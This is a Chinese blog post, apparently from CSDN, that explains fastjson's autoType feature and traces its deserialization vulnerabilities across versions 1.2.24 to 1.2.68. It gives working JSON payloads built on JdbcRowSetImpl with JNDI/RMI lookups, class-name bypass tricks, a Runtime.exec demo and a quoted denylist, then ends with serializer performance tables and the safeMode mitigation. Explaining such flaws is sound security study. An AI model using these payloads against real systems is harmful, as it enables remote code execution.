fastjson java 字段排序_fastjson漏洞总结

fastjson 简介

什么是 fastjson

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

fastjson 的使用

  • 序列化

String  jsonString  =  JSON.toJSONString(Object);

  • 反序列化

Object  obj =  JSON.parseObject(String,  Object.class);

fastjson 的工作原理

我们使用一个例子,来简单看下 fastjson 是如何做到序列化和反序列化的

先创建一个 User 类,可以看到我们分别在他的constructor、getter、setter 方法上打印了日志。

5538d5c03f1a10832967385a7b402e1e.png
img

然后,我们使用 fastjson 对 User 对象进行序列化和反序列化的操作。其中反序列化使用了 parse 方法 和

parseObject 方法。

a744b106e70fcd4d81899fd9fd626211.png
img

这个 Demo 执行会有什么样的结果呢?

ccea8be50c438db26680c3b1239ee31a.png
img

从结果中我们可以看到,fastjson 的序列化是调用对象的 getter 方法实现的,反序列化中 parse 没有调用 User 的任何方法,而是返回了一个 JSONObject 对象。parseObject 调用了 User 的构造方法和 setter 方法,最终返回的是User 对象。

fastjson 漏洞

通过 fastjson 的 releaseNotes,我们可以发现 fastjson 漏洞跟 fastjson 的 autoType 特性有很大关系,其漏洞的利用和修复基本都围绕 autoType 特性展开。那么 autoType 特性是做什么的呢?

autoType

首先,我们看下面这个例子。

85b594c50fabd96eede56a94d262976b.png
img
fe7809e3d356e157f676216685d6fd24.png
img
68c8a32befdce32917f8a7a07e56383a.png
img

Store 中有 Fruit 类型的属性,Apple 继承了 Frunt 实体。现在我们使用 fastjson 对上面的java bean进行序列化测试

c188ff75c22a7d08e2c01586c061d394.png
img

上面的代码将 Apple 对象赋值到 Store 中,然后使用 fastjson 进行序列化和反序列化,最后将 Store 中的 Fruit 转换成其 真实类型。上面的例子输出是什么呢?

fc4f366e58604c0f26c82485a1a4d449.png
img

可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,不允许类型转换。从上述现象  中我们知道,当一个类中包含了一个接口(或父类)的时候,在进行序列化的时候,会将子类型抹去,只保留接口(父类)的类型,使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题呢,fastjson 使用 autoType 来解决这个问题,与普通的序列化不同,使用autoType 需要 SerializerFeature.WriteClassName 标记。

还是上面的例子,我们把序列化的代码做些改动

5cc664d2cd9045c6a1392dfd6db0abdb.png
img

红框中我们在序列化时使用了 SerializerFeature.WriteClassName ,表示使用了autoType,那再次运行代码,结果怎样呢?

3832bed4fda01bb88c2b7b71298f95d6.png

运行成功了!我们成功拿到了 Fruit 的真实类型 Apple。我们再使用 User 的例子试一下。

0dd8a819e1e1950ca08b770c6d10c407.png

使用了 autoType 特性之后的结果会有什么不同?

a335a707ded1f3028b6b08d92dfb46c2.png
img

同时我们可以看到,使用了SerializerFeature.WriteClassName进行标记后,序列化之后的JSON字符串中多出了一个@type字段,标注了类对应的原始类型,使我们在反序列化的时候能够定位到具体类型。

这就是 fastjson 中的 autoType 特性,这个特性确实能够在特定场景下带来方便,但也正是由于这个特性导致了后续的诸多被利用的漏洞。接下来我们就看一下 fastjson 开发史上的那些重大漏洞。

autoType 的实现 (v1.2.24)

序列化

ee160ac582c98fae4338a20a59c96de4.png
img

反序列化

f97c105b59db156a8376dd3bd653b74c.png
img

处理 JSON 字符串时,如果 key = @type,会继续读取到指定要加载的类 typeName,然后会使用TypeUtils.loadClass 去加载 typeName 的 Class。我们再看下 loadClass 做了什么。

e8d7af43565b29508856437d3edde0e6.png8baebd64a66f08005b8f12f4706ce21a.png

loadClass 分别处理了数组形式的类、Class形式的类和其他的类,并且对加载过的类在 mappings 中做了缓存。

加载完class之后,fastjson 在 deserializer.deserialze(this, clazz, fieldName); 中处理了 autoType

的反序列化操作,也就是调用了对应 class 的构造和 setter 方法。

v1.2.24 漏洞构建

我们了解了 autoType 的实现过程和使用方式,可以看到使用了 autoType 之后,我们可以使 fastjson 加载指定的类,并且 fastjson 会自动调用该类的构造方法和我们要设置的属性的 setter 方法。

本地代码执行漏洞

利用这一点,我们可以构造出执行漏洞v1,我们以弹出计算器为目标。

5093297fc5e394ec67d8cf3305f287d1.png
img

我们在 User 类的构造方法中增加 Runtime.getRuntime().exec("calc");,打开系统的计算器。

1181155d553ba9a4450499ead3a37ed3.png
img

从 demo 中可以看到,我们成功的弹出了计算器,验证 fastjson 漏洞成功,so easy! but,你以为这就完了吗?

实际上,我们不会有人在代码中写 Runtim.getRuntime() 这样的代码,那么如果没有这部分代码,我们还可以使用什么方式利用这个漏洞呢?

远程执行漏洞

我们使用 JNDI 的方式完成这个远程执行漏洞,这里选择比较常用的攻击类库com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个  rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。我们看一下具体的方法。

29d87c624463e239ecffc42d3a3ef000.png
img
da2c8fa4c11caa2e1338e7aaed785b43.png
img

使用 RMI 的方式需要我们有一个自己的web服务,将上面执行命令的 User 类编译后放在web服务的根目录下,然后我们构建JDNI server。

feafb3c9e92ea33620c97eeaeb26c662.png
img

这样,我们就可以通过 RMI 的方式执行远程命令。最终,我们构造如下的 payload :

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}

如果我们的接口使用了 fastjson 的反序列化,通过传入这个参数就可以实现远程漏洞的攻击。

v1.2.41 漏洞构建

我们先来看一下,为了解决 v1.2.24 中的漏洞,fastjson 做了哪些改动。

fc50e51ea0af7b35815a54e0e7e2f351.png
img

首先,我们看到在处理 autoType 特性时,增加了 checkAutoType 的处理。

98cfd8e6b11bf3ed899c351495b5999f.png877b6d43396b14e5f7b27ea3bcfe61ad.png

在 checkAutoType 中,如果 autoTypeSupport 开关打开,会先检查白名单,如果目标类在白名单中,直接加载。然后检查黑名单,如果目标类在黑名单中并且缓存中没有找到则抛异常。

如果 autoTypeSupport 开关关闭,则先检查黑名单,在黑名单中,直接抛异常。然后检查白名单,如果在白名单中并且目标类不是预期类的子类,则直接加载。

最后,有个兜底判断,如果 autoTypeSupport 开关打开 或者 传入 features 支持 SupportAutoType 或者 默认features 支持 SupportAutoType 则直接加载。

1.2.41 版本中的 黑名单中 包含了哪些类

private  String[]  denyList  = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,o rg.springframework".split(",");

可以看到,com.sun.下的所有类都被加入到了黑名单,没有办法再利用之前构造的 payload 进行攻击了吧。

too young, too simple!

还记的上面提到的 loadClass 方法吗?

4de07fd6f995fbe0c877abcd5819e257.png
img

如果目标类的首字母是‘L’,并且尾字母是‘;’,这里会去除首尾字母,重新 loadClass;

所以我们重新构造 payload 只需要分别在目标类前后增加字母 ’L‘,‘;’就可以了。新的payload如下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:2099/User","auto Commit":true}

但此漏洞需要 autoTypeSupport 开关打开,由于上面提到的 checkAutoType 的兜底策略,开关关闭会直接抛出不支持 autoType 的异常。

v1.2.42 漏洞构建

我们先来看一下,为了解决 v1.2.41 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。

12ec78312238dafda780b78373f737a9.png
img

1.2.42  中将黑白名单中的类替换成了类的 hash 值,hash 的算法为

ad16252ca8c9d8d98666b016a7dfb6f8.png
img

然后 利用该 hash 算法得到首字母和末尾字符的 hash 值是否与 L;的 hash 值相同。如果相同,则删除首尾字母。

这样如果我还是利用 Lcom.sun.rowset.JdbcRowSetImpl; 做为目标类,就会被黑名单拦截,貌似也可以解决问题。

额,这样真的可以解决问题吗?

这次的问题修复,作者想得有点简单了。我们只需要分别在目标类的前后增加 LL 和 ;; 比如

LLcom.sun.rowset.JdbcRowSetImpl;;就可以轻松绕过检查。payload 如下:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:2099/User","au toCommit":true}

v1.2.47 漏洞构建

为了解决 v1.2.42 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。

835ac308066fd1b289cb139c9a6144f7.png
img

1.2.47 中,判断类的前缀是 [ 或者类的首尾字符分别是 L、;,则直接抛出不支持 autoType 的异常。这样,我们之前使用的漏洞方式都不能使用了。

那我们还能找到其他方式越过这些检查吗?可以的,我们来看下 checkAutoType 中的这段代码。c05b70a40b0a2cb40cf5826da9f4fefc.png

这段代码前面是 autoType 开关开启时黑白名单的校验,后面是 autoType 开关关闭时黑白名单的校验。而且开关开启时的校验中还没有把黑名单的拦截写死。

3a9bd83b7e7b0ce404073876095d80b5.png

只有目标类在黑名单中同时缓存中没有该类时才会抛出异常。也就是说只要缓存中存在目标类,无论 autoType 的开关开启还是关闭,都不会被黑名单拦截。

现在的问题就变成了,如何在校验攻击类之前将其加载到缓存中。

大家还记得什么时候会将目标类放到缓存中吗?答案是 loadClass。

3d6c5c131eeeec089e161be036b58137.png
img
2eac498d72676695fdfa67b356991494.png
img

可以看到,loadClass 中 ① 和 ② 需要 cache 为 true 时才会添加缓存,③ 任何时候都会添加。而 fastjson 提供了两个 loadClass 的方法,第一个 cache 为 true, 第二个调用方可以自己决定是否缓存。

通过上述线索,我们反向定位,使用到 loadClass 且需要缓存,而且这个 loadClass 不是在处理 autoType 的属性。于是我们找到了符合条件的一处使用。

6ea1cb780d014f770e4b61d63c3b6165.png
img
85d06490ff5585a2afbef4c02cb66f15.png
img

在处理 Class 的类型时,我们会使用 loadClass 加载其属性。而 Class 类型的处理会在 ParserConfig 加载时就写入到 deserializers 中。

2f131e9b59664e7e03bcc901e331a8b9.png
img

至此,我们对于构建这个漏洞的 payload 就有了大概的思路。

我们需要先使用 Class 的 autoType 特性,将攻击类加载到缓存中,然后再次加载攻击类时,就会从缓存中获取,从而绕过黑白名单的检查。最终 payload 如下:

{"a":{"@type":"java.lang.Class",  "val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}}

v1.2.68 漏洞构建

为了解决 v1.2.47 中的漏洞,fastjson 做了哪些改动。

880723458ae486b47f02079ef2aac45a.png
img
20d221ee2ba6ae22f24602ce07d5de1a.png
img

v1.2.68 版本中,将 MiscCodec 中对于 Class 类处理的缓存去掉了,并且原来没有加缓存的 Class.forName 也加上了缓存的判断。

这个版本是基于 expectClass 实现的漏洞攻击,我们先看下 expectClass 如何绕过检查。

9acf62ee4eaa2157b88e041f82dd89de.png
img

如果传入了 expectClass 并且 expectClass 没有被限制,则 expectClassFlag 为 true。

944d6c43cde5295249c2cbb6fd73f74a.png
img

后面的逻辑中,只要 expectClassFlag 为 true,就会执行 loadClass 加载目标类。

776f48c5b06df8c50bfb093ddbd91069.png
img

当 expectClass 是 目标类的父类时,会直接返回。

我目前没有找到可以实现 RCE 的相关攻击类。不过这里我们可以先展示一下利用预期类攻击的方式。首先 checkAutoType 中会传入参数 expectClass,多数情况下这个值是 null。有两种情况下例外,

第一种 @type 为 Throwable.class

f0a2e33296da5083c38e5471f9a92fdc.png
img

此时,deserializer 为 ThrowableDeserializer,

fb843e91890c545fb4b0bc201d7c270e.png
img

然后,解析下一个标签时,如果还是 @type 则会把 Throwable.class 作为预期类传入。

第二种方式也是类似的,如果第二个标签同样是 @type 则会把第一个 @type 作为预期类传入。

a4c7a08d8b9aea88e35e2dd0149a3053.png
img

我们以 AutoCloseable 为例,构造一个攻击的实例。

8879649c62497174bd18cdc718dcb94a.png
img

前提也需要 autoType 特性开启,payload 如下:

{"@type":"java.lang.AutoCloseable","@type":"com.sgvshy.fastjson1268.jndi.Test", "cmd":"rmi://localhost:2099/User"}

v1.2.68 还提供了 safeMode 安全模式

c7c6df608a791029018bba9a40e1e3d0.png
img

可以使用如下方式开启

ParserConfig.getGlobalInstance().setSafeMode(true);

安全模式下,不支持 autoType 特性,利用 autoType 漏洞的攻击都失效了。

fastjsongsonjackson的对比

使用情况

de7d5e0c9f37b66d85e564ea89bc36eb.png
img

从上图可以看出,jackson 高居榜首,gson 紧随其后,而fastjson 的使用量则与其他两种 json 工具有很大差距。

性能对比

性能对比中,我们使用 jdk8 进行测试,fastjson 使用 1.2.70 版本,gson 使用 2.8.6 版本,jackson 使用 2.10.2 版本。

每种测试方案执行执行10次,分别列出每种方案的最大执行时间、最小执行时间、总执行时间、平均执行时间以及去  最大最小后的平均执行时间。

简单对象

我们首先采用简单对象进行测试,每种json工具循环进行序列化、反序列化。

循环次数json工具序列化总值序列化最大值序列化最小值序列化均值序列化去最大最小均值反序列化总值反序列化最大值反序列化最小值反序列化均值反序列化去最大最小均值
1fastjson145145014077000
1gson75730701817010
1jackson23322902303224031
10fastjson1521510150119010
10gson75710701716010
10jackson23322802303527031
100fastjson15314601502410121
100gson84730813522031
100jackson28026412814027141
1000fastjson18016701817325275
1000gson1098321035721254
1000jackson37034523728548284
10000fastjson2281982223144774147
10000gson26711812261726869112623
10000jackson58041885819296117122920
100000fastjson467219154629678120446764
100000gson930282579373867210518675
100000jackson529295205226523166345240

gson 和 jackson 在进行序列化和反序列化时都需要先创建对象,上面的测试方案中,每次遍历使用的对象都是提前创建的,所以每种方案结果数据中仅包含第一次创建对象的时间。

从结果可以看出,对同一个对象进行多次序列化操作,gson 性能较好。反序列化 fastjosn 性能较好。当循环次数超过 10w 后,fastjson 序列化性能较好,jackson 反序列化性能较好。

复杂对象

我们将多个简单对象放到列表中构成大对象进行测试。

大小json工具序列化总值序列化最大值序列化最小值序列化均值序列化去最大最小均值反序列化总值反序列化最大值反序列化最小值反序列化均值反序列化去最大最小均值
1kfastjson1591570150158010
1kgson83741812118020
1kjackson25625502503829131
10kfastjson16515411614517143
10kgson88711822716021
10kjackson24623512414230141
100kfastjson22816942269746296
100kgson1568761578136285
100kjackson2852375285106456106
500kfastjson408248740192468872418
500kgson503182205037523199125239
500kjackson4013038401124763152421
1mfastjson477266164724594252175940
1mgson76121635766334286133430
1mjackson34320110341633386153329
10mfastjson4010110415840134352581335222525462
10mgson28458021882842311943306141194187
10mjackson1192307771191011963381144196179

可以看到,数据在100K以内,gson 序列化性能较好,反序列化相差不大。数据在 500K 左右时,fastjson 和 jackson

序列化和反序列化性能较好,gson 较差。数据大于 1M 后,jackson 的性能较好,gson次之,fastjson 较差。

总结

1、fastjson 是一款优秀的国产开源工具。

2、fastjson 开源之后,其主要的优点是速度快。为了实现这个优点,作者做了很多工作,比如自定义实现SerializeWriter 处理 字符串、使用 ThreadLocal 缓存 buf、使用 asm 避免反射、缺省启用 sort field 输出等一系列的改动,这些是我们在日常开发中可以借鉴的想法。

3、速度快并不是我们评估一个系统好坏的唯一标准,更不是最重要的标准。一个系统的优劣还要看它的稳定性、可  扩展性、易用性等等。显然 fastjosn  没有考虑到这些因素,才导致了后面的多个漏洞。所以我们在开发系统时要有大的格局,考虑系统的多个方面,在系统稳定的基础上尽量优化其性能。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值